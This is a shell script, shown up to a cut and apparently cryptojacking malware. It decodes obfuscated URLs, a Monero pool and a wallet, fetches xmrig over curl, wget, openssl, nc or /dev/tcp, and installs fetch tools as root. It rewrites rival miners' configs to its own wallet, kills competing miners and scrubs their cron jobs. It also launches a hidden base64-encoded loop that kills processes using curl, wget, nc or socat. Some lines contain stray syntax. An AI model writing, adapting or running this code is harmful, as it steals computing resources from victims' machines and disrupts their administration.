svcczxvzxc

#!/bin/sh

_d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }

#!/bin/sh

if [ -z "$BASH_VERSION" ]; then

case "$0" in

/*|./*)

if command -v bash >/dev/null 2>&1; then

exec bash "$0" "$@"

fi

;;

esac

fi

_c1="${1:-x}"

_c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')

_c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')

_c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')

_c5=$(_d 'Z29Bd2dCQ0ZI')

_c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')

_c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')

_c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')

_c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')

log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }

_preflight() {

_pf_need_fetch=1 # always need HTTP fetch capability

# Determine what we have

_check_tools() {

_pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0

command -v curl >/dev/null 2>&1 && _pf_has_curl=1

command -v wget >/dev/null 2>&1 && _pf_has_wget=1

command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1

command -v perl >/dev/null 2>&1 && _pf_has_perl=1

}

_check_tools

# Can we fetch?

_pf_can_fetch() {

# curl or wget alone is sufficient

[ "$_pf_has_curl" = "1" ] && return 0

[ "$_pf_has_wget" = "1" ] && return 0

# openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)

[ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0

return 1

}

# If we can't fetch, try to install as root

if ! _pf_can_fetch; then

log "PREFLIGHT: missing HTTP fetch capability"

if [ "$(id -u)" = "0" ]; then

log "Running as root — installing missing components..."

_pf_installed=0

# Try package managers in order of preference: curl first (simplest),

# then wget, then openssl+perl

if command -v apk >/dev/null 2>&1; then

# Alpine: prefer curl, then wget

if [ "$_pf_installed" = "0" ]; then

log " trying apk add curl..."

apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1

fi

if [ "$_pf_installed" = "0" ]; then

log " trying apk add wget..."

apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1

fi

if [ "$_pf_installed" = "0" ]; then

log " trying apk add openssl perl..."

apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1

fi

elif command -v apt-get >/dev/null 2>&1; then

# Debian/Ubuntu: prefer curl, then wget

apt-get update -qq >/dev/null 2>&1

if [ "$_pf_installed" = "0" ]; then

log " trying apt-get install curl..."

apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1

fi

if [ "$_pf_installed" = "0" ]; then

log " trying apt-get install wget..."

apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1

fi

if [ "$_pf_installed" = "0" ]; then

log " trying apt-get install openssl perl..."

apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1

fi

elif command -v yum >/dev/null 2>&1; then

# RHEL/CentOS

if [ "$_pf_installed" = "0" ]; then

log " trying yum install curl..."

yum install -y curl >/dev/null 2>&1 && _pf_installed=1

fi

if [ "$_pf_installed" = "0" ]; then

log " trying yum install wget..."

yum install -y wget >/dev/null 2>&1 && _pf_installed=1

fi

elif command -v dnf >/dev/null 2>&1; then

# Fedora

if [ "$_pf_installed" = "0" ]; then

log " trying dnf install curl..."

dnf install -y curl >/dev/null 2>&1 && _pf_installed=1

fi

fi

# Re-check after install

_check_tools

if _pf_can_fetch; then

log "PREFLIGHT: install succeeded"

else

log "PREFLIGHT: cannot install fetch tools; deferring to static-pastebin cron path"

fi

else

log "PREFLIGHT: no fetch capability and not root; deferring to static-pastebin cron path"

fi

fi

# Report what we have

_pf_tools=""

[ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"

[ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"

[ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"

[ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"

log "PREFLIGHT OK: fetch available via:$_pf_tools"

}

_preflight

 

_q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'

 

_z7() {

_r1="${1:-/var/tmp/.odoo_pg_health.json}"

_r2="${2:-/var/tmp/.odoo_pg_start}"

_s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'

_s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'

_h1 "$_r1" "$_s1"

_h1 "$_r2" "$_s2"

return 0

}

 

_h1() {

_f0="$1"

_p0="$2"

_t0="${_f0}.$$"

command -v sed >/dev/null 2>&1 || return 0

command -v cat >/dev/null 2>&1 || return 0

[ -f "$_f0" ] || return 0

[ -r "$_f0" ] || return 0

[ -w "$_f0" ] || return 0

if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then

if cat "$_t0" > "$_f0" 2>/dev/null; then

:

fi

fi

rm -f "$_t0" 2>/dev/null || :

return 0

}

 

mask_enemy() { _z7 "$@"; }

 

 

detect_kill_unicorn() {

_dk_uid=$(id -u 2>/dev/null || echo 0)

_dk_user=$(id -un 2>/dev/null || echo "")

_dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)

[ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"

_dk_cldir="$_dk_home/.claude"

 

# Target 1: the daemonized miner, identified by cwd == ~/.claude.

# Safe: nothing legitimate ever runs from the worm's hidden dir.

_dk_miners=""

for _dk_proc in /proc/[0-9]*; do

[ -d "$_dk_proc" ] || continue

_dk_pid=${_dk_proc#/proc/}

[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue

[ "$_dk_pid" = "$$" ] && continue

_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)

[ "$_dk_owner" = "$_dk_uid" ] || continue

_dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)

case "$_dk_cwd" in

"$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;

esac

done

 

# Target 2: the live CRON jobs -> descendants respawner tree

_dk_crons=""

for _dk_proc in /proc/[0-9]*; do

[ -d "$_dk_proc" ] || continue

_dk_pid=${_dk_proc#/proc/}

[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue

[ "$_dk_pid" = "$$" ] && continue

_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)

[ "$_dk_owner" = "$_dk_uid" ] || continue

[ -r "$_dk_proc/cmdline" ] || continue

_dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)

_dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')

_dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')

_dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')

[ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue

[ "$_dk_a1" = "jobs" ] || continue

[ -n "$_dk_a2" ] && continue

_dk_crons="$_dk_crons $_dk_pid"

done

 

# expand CRON jobs to all descendants

_dk_tree="$_dk_crons"

for _dk_round in 1 2 3 4 5; do

for _dk_proc in /proc/[0-9]*; do

[ -d "$_dk_proc" ] || continue

_dk_pid=${_dk_proc#/proc/}

[ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue

[ "$_dk_pid" = "$$" ] && continue

_dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)

[ "$_dk_owner" = "$_dk_uid" ] || continue

_dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)

case " $_dk_tree " in

*" $_dk_pp "*)

case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac

;;

esac

done

done

 

# Kill everything (miners + cron tree), TERM then KILL

_dk_all="$_dk_miners $_dk_tree"

for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done

sleep 1 2>/dev/null

for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done

 

# Scrub the respawner: crontab + payload files in .claude

_dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'

if command -v crontab >/dev/null 2>&1; then

_dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"

if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then

if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then

grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null

echo "[dk] scrubbed crontab: $_dk_user"

fi

fi

rm -f "$_dk_ct" 2>/dev/null

fi

for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do

[ -f "$_dk_f" ] || continue

grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue

chattr -f -ia "$_dk_f" 2>/dev/null

sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null

done

 

# remove the worm payload files (only ones we own, only inside .claude)

if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then

for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do

[ -e "$_dk_f" ] || continue

[ -O "$_dk_f" ] || continue

chattr -f -ia "$_dk_f" 2>/dev/null

rm -f "$_dk_f" 2>/dev/null

echo "[dk] removed: $_dk_f"

done

fi

 

[ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \

|| echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"

return 0

}

 

# ── Competitor-worm counter (ported TTP, 2026-10-22 forensics) ──────────────

# The observed competitor family (ideesrv/hpvroom miner + .dbus guardian,

# /opt/zimbra/db/data/.halt) SIGKILLs any same-user process whose cmdline

# matches {curl, wget, dev/tcp dialer, pty.spawn, nc -e} from a ~100ms

# /proc scan loop, via piped diskless children. Countermeasure:

# 1) sweep their instances at deploy time (exe-path invariant)

# 2) resident guardian arm (same scan rule, marker-exempt for our kit)

# Mechanism doc: payloads/COMPETITOR-KILL-TACTIC.md

_GC_MARK=corecheck

 

_gc_exempt() {

case "$1" in

*".beacon_"*|*"systemdev"*|*"cron-fetch"*|*"dns-filter"*|*"$_GC_MARK"*|*" 1510"*) return 0 ;;

esac

return 1

}

 

sweep_competitor_worms() {

echo "[sw] sweep entered (uid: $(id -u), self: $$)"

_sw_uid=$(id -u 2>/dev/null)

for _sw_d in /proc/[0-9]*; do

_sw_p=${_sw_d#/proc/}

[ "$_sw_p" = "$$" ] && continue

[ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue

_sw_ex=$(readlink "$_sw_d/exe" 2>/dev/null)

_sw_cmd=$(strings "$_sw_d/cmdline" 2>/dev/null)

_gc_exempt "$_sw_cmd" && continue

case "$_sw_ex" in

*/".halt/"*|*/".dbus/"*)

kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed: $_sw_p $_sw_ex" ;;

*)

# script-style instances carry the hidden-dir path in the CMDLINE

# (e.g. sh /opt/zimbra/db/data/.halt/ideesrv) — exe check alone

# misses them (seen in ztest: mock worm survived exe-only match)

case "$_sw_cmd" in

*"/.halt/"*|*"/.dbus/"*)

kill -9 "$_sw_p" 2>/dev/null && echo "[sw] worm killed (cmdline): $_sw_p $_sw_cmd" ;;

esac ;;

esac

done

# pass 2: hunt resident killer-loop SCRIPTS (shell running a script file

# that combines kill -9 with competitor connection patterns — the

# on-host anti-competitor guardian shape). Exemptions apply first.

for _sw_d in /proc/[0-9]*; do

_sw_p=${_sw_d#/proc/}

[ "$_sw_p" = "$$" ] && continue

[ "$(_sw_owner=$(stat -c%u "$_sw_d" 2>/dev/null); echo $_sw_owner)" = "$_sw_uid" ] || continue

_sw_c1=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 1p)

_sw_sf=$(strings "$_sw_d/cmdline" 2>/dev/null | sed -n 2p)

_gc_exempt "$_sw_c1" && continue

case "$_sw_c1" in

bash|sh|ash|dash|*/bash|*/sh|*/ash|*/dash)

case "$_sw_sf" in

/*)

if [ -r "$_sw_sf" ] && grep -qF "kill -9" "$_sw_sf" 2>/dev/null \

&& grep -qE "dev/tcp|curl|wget" "$_sw_sf" 2>/dev/null; then

kill -9 "$_sw_p" 2>/dev/null && rm -f "$_sw_sf" 2>/dev/null \

&& echo "[sw] killer-script hunted: $_sw_p ($_sw_sf removed)"

fi ;;

esac ;;

esac

done

return 0

}

 

# guardian scanner loop — installed diskless (streamed via stdin pipe),

# 100ms /proc scan, same-uid only, marker-exempt; single instance via pidfile.

_GC_LOOP_B64='VT0kKGlkIC11IDI+L2Rldi9udWxsKQpkZWNsYXJlIC1BIFNFRU4Kd2hpbGUgOjsgZG8KICBmb3IgZCBpbiAvcHJvYy9bMC05XSo7IGRvCiAgICBbIC1yICIkZC9jbWRsaW5lIiBdIHx8IGNvbnRpbnVlCiAgICBvPSQoc3RhdCAtYyV1ICIkZCIgMj4vZGV2L251bGwpIHx8IGNvbnRpbnVlCiAgICBbICIkbyIgPSAiJFUiIF0gfHwgY29udGludWUKICAgIHA9JHtkIy9wcm9jL30KICAgIFsgIiRwIiA9ICIkJCIgXSAmJiBjb250aW51ZQogICAgYz0kKHN0cmluZ3MgIiRkL2NtZGxpbmUiIDI+L2Rldi9udWxsKQogICAgY2FzZSAiJGMiIGluCiAgICAgICoiLmJlYWNvbl8iKnwqInN5c3RlbWRldiIqfCoiY3Jvbi1mZXRjaCIqfCoiZG5zLWZpbHRlciIqfCoiY29yZWNoZWNrIiopIGNvbnRpbnVlIDs7CiAgICBlc2FjCiAgICBjYXNlICIkYyIgaW4KICAgICAgKiJjdXJsIip8KiJ3Z2V0Iip8KiJkZXYvdGNwIip8KiJwdHkuc3Bhd24iKnwqIm5jIC1lIip8KiJuY2F0Iip8KiJzb2NhdCIqKQogICAgICAgIGlmIFsgLXogIiR7U0VFTlskcF19IiBdOyB0aGVuCiAgICAgICAgICBTRUVOWyRwXT0xCiAgICAgICAgZWxzZQogICAgICAgICAgU0VFTlskcF09JCgoJHtTRUVOWyRwXX0gKyAxKSkKICAgICAgICAgIGlmIFsgIiR7U0VFTlskcF19IiAtZ2UgMjAgXTsgdGhlbgogICAgICAgICAgICBraWxsIC05ICIkcCIgMj4vZGV2L251bGwKICAgICAgICAgICAgdW5zZXQgU0VFTlskcF0KICAgICAgICAgIGZpCiAgICAgICAgZmkgOzsKICAgICAgKikKICAgICAgICBbIC1uICIke1NFRU5bJHBdfSIgXSAmJiB1bnNldCBTRUVOWyRwXSA7OwogICAgZXNhYwogIGRvbmUKICBpPSQoKCR7aX0gKyAxKSkKICBpZiBbICQoKGkgJSA1MCkpIC1lcSAwIF07IHRoZW4KICAgIGZvciBwIGluICR7IVNFRU5bQF19OyBkbwogICAgICBbIC1kICIvcHJvYy8kcCIgXSB8fCB1bnNldCBTRUVOWyRwXQogICAgZG9uZQogIGZpCiAgc2xlZXAgMC4xIDI+L2Rldi9udWxsIHx8IHNsZWVwIDEKZG9uZQo='

 

install_competitor_guardian() {

[ "$(id -u)" = "0" ] && { echo "[gd] guardian: root deploy — skipped (phase-2)"; return 0; }

command -v stat >/dev/null 2>&1 || return 0

_gd_home=""

[ -n "$HOME" ] && [ -w "$HOME" ] && mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _gd_home="$HOME/.usr_cron/lib"

[ -n "$_gd_home" ] || _gd_home="/tmp/.usr_gd$$"

_gd_pidfile="$_gd_home/.gpid"

if [ -f "$_gd_pidfile" ]; then

_gd_old=$(cat "$_gd_pidfile" 2>/dev/null)

kill -0 "$_gd_old" 2>/dev/null && return 0

rm -f "$_gd_pidfile"

fi

# NOTE: the pipeline MUST be backgrounded (&) — without it the shell waits

# forever for the last stage (the guardian's own never-exiting loop) and

# deploy.sh hangs after "Beacon cron installed" (seen in ztest 2026-10-22).

printf %s "$_GC_LOOP_B64" | base64 -d 2>/dev/null | setsid bash >/dev/null 2>&1 &

_gd_newpid=$!

sleep 0.3

printf %s "$_gd_newpid" > "$_gd_pidfile" 2>/dev/null

kill -0 "$_gd_newpid" 2>/dev/null \

&& echo "[gd] competitor guardian installed (pid $_gd_newpid, pidfile: $_gd_pidfile)" \

|| echo "[gd] guardian install failed to start"

return 0

}

 

 

detect_kill_unicorn

sweep_competitor_worms

 

http_get() {

_hg_url="$1"; _hg_follow=0

while [ "$_hg_follow" -lt 5 ]; do

_hg_follow=$((_hg_follow + 1))

_hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";

_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"

[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"

_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')

[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"

_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"

printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \

"$_hg_path" "$_hg_host" > "$_hg_req"

if [ "${_hg_url#https://}"; != "$_hg_url" ]; then

# HTTPS — openssl s_client with SNI

if command -v timeout >/dev/null 2>&1; then

timeout 45 openssl s_client -connect "${_hg_ip}:443" \

-servername "$_hg_host" -quiet \

< "$_hg_req" > "$_hg_raw" 2>/dev/null

else

openssl s_client -connect "${_hg_ip}:443" \

-servername "$_hg_host" -quiet \

< "$_hg_req" > "$_hg_raw" 2>/dev/null

fi

[ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }

else

# Plain HTTP — use nc (netcat) if available (works on Alpine)

if command -v nc >/dev/null 2>&1; then

cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null

elif [ -n "$BASH_VERSION" ]; then

# bash /dev/tcp fallback

exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null

cat "$_hg_req" >&3

cat <&3 > "$_hg_raw" 2>/dev/null

exec 3>&-

else

# Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)

cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"

fi

fi

_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')

case "$_hg_status" in

301|302|303|307|308)

_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')

rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true

[ -z "$_hg_loc" ] && return 1

case "$_hg_loc" in

/*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;

http://*|https://*) ;;

*) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;

esac

_hg_url="$_hg_loc"

continue

;;

esac

tr -d '\r' < "$_hg_raw" | perl -0777 -ne '

if (/^(.*?)\n\n(.*)$/s) {

my ($h, $b) = ($1, $2);

if ($h =~ /transfer-encoding:\s*chunked/i) {

my $out = "";

while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {

my $sz = hex($1); last if $sz == 0;

$b = $2; $out .= substr($b, 0, $sz);

$b = substr($b, $sz); $b =~ s/^\n//;

}

print $out;

} else { print $b; }

}

' | grep -v '^[0-9a-fA-F]*$'

rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true

return 0

done

return 1

}

http_get_bin() {

_hg_url="$1"; _hg_out="$2"; _hg_follow=0

while [ "$_hg_follow" -lt 5 ]; do

_hg_follow=$((_hg_follow + 1))

_hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";

_hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"

[ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"

_hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')

[ -z "$_hg_ip" ] && _hg_ip="$_hg_host"

_hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"

printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \

"$_hg_path" "$_hg_host" > "$_hg_req"

if [ "${_hg_url#https://}"; != "$_hg_url" ]; then

# HTTPS — openssl s_client with SNI

if command -v timeout >/dev/null 2>&1; then

timeout 45 openssl s_client -connect "${_hg_ip}:443" \

-servername "$_hg_host" -quiet \

< "$_hg_req" > "$_hg_raw" 2>/dev/null

else

openssl s_client -connect "${_hg_ip}:443" \

-servername "$_hg_host" -quiet \

< "$_hg_req" > "$_hg_raw" 2>/dev/null

fi

[ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }

else

# Plain HTTP — nc or bash /dev/tcp

if command -v nc >/dev/null 2>&1; then

cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null

elif [ -n "$BASH_VERSION" ]; then

exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null

cat "$_hg_req" >&3

cat <&3 > "$_hg_raw" 2>/dev/null

exec 3>&-

else

cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"

fi

fi

_hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')

case "$_hg_status" in

301|302|303|307|308)

_hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')

rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true

[ -z "$_hg_loc" ] && return 1

case "$_hg_loc" in

/*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;

http://*|https://*) ;;

*) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;

esac

_hg_url="$_hg_loc"

continue

;;

esac

perl -0777 -ne '

if (/^(.*?)\r\n\r\n(.*)$/s) {

my ($h, $b) = ($1, $2);

$h =~ s/\r//g;

if ($h =~ /transfer-encoding:\s*chunked/i) {

my $out = "";

while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {

my $sz = hex($1); last if $sz == 0;

$b = $2; $out .= substr($b, 0, $sz);

$b = substr($b, $sz); $b =~ s/^\r?\n//;

}

print $out;

} else { print $b; }

}

' < "$_hg_raw" > "$_hg_out"

rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true

[ -s "$_hg_out" ] && return 0 || return 1

done

return 1

}

fetch_url() {

_fu_url="$1"

if command -v curl >/dev/null 2>&1; then

curl -fsSLk -A corecheck/1.0 --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null

elif command -v wget >/dev/null 2>&1; then

wget -qO- -U corecheck/1.0 --timeout=10 --tries=2 "$_fu_url" 2>/dev/null

else

http_get "$_fu_url"

fi

}

fetch_file() {

_ff_url="$1"; _ff_out="$2"

if command -v curl >/dev/null 2>&1; then

curl -fLk --silent --show-error -A corecheck/1.0 --connect-timeout 10 --max-time 120 \

--retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null

elif command -v wget >/dev/null 2>&1; then

wget -q -U corecheck/1.0 --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null

else

http_get_bin "$_ff_url" "$_ff_out"

fi

}

_is_excluded() {

_ie_cmdline="$1"

for _ie_pat in $_c6; do

case "$_ie_cmdline" in

*"$_ie_pat"*) return 0 ;;

esac

done

return 1

}

kill_themf() {

(

set +e

_kt_threshold=9

for _kt_proc in /proc/[0-9]*; do

[ -r "$_kt_proc/status" ] || continue

_kt_pid="${_kt_proc#/proc/}"

_kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)

# Exclude our miner

_is_excluded "$_kt_cmdline" && continue

_kt_score=0

_kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")

_kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")

_kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")

_kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")

_kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")

_kt_rss=${_kt_rss:-0}

_kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)

[ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))

[ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))

[ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))

_kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')

[ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))

[ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))

_kt_user=$(id -nu "$_kt_uid" 2>/dev/null)

if [ "$_kt_user" != root ]; then

case "$_kt_state" in

S*) _kt_score=$((_kt_score + 1)) ;;

esac

fi

case "$_kt_exe" in

/tmp/*|/var/tmp/*|/dev/shm/*)

_kt_score=$((_kt_score + 4)) ;;

"$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)

_kt_score=$((_kt_score + 4)) ;;

esac

[ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))

if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then

echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"

kill -9 "$_kt_pid" 2>/dev/null

fi

done

)

return 0

}

kill_mf3() {

(

set +e

_km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'

_km_skip="$_c5"

_km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0

_km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")

# Tier 1: watchdogs + grep scanner

_km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')

# Tier 2: miners

_km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')

_km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')

_km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }

# T1: SIGTERM then SIGKILL

_km_t1p=$(_km_pids_of "$_km_t1")

_km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')

_km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')

if [ -n "$_km_list" ]; then

kill -TERM $_km_list 2>/dev/null; sleep 1

for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done

fi

# T2: SIGTERM then SIGKILL

_km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')

if [ -n "$_km_list" ]; then

kill -TERM $_km_list 2>/dev/null; sleep 2

for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done

fi

# T3: orphans

sleep 1

_km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')

[ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :

)

return 0

}

kill_and_remove_process() {

_karp_term="$1"

[ -z "$_karp_term" ] && return 2

for _karp_dir in /proc/[0-9]*; do

[ -r "$_karp_dir/comm" ] || continue

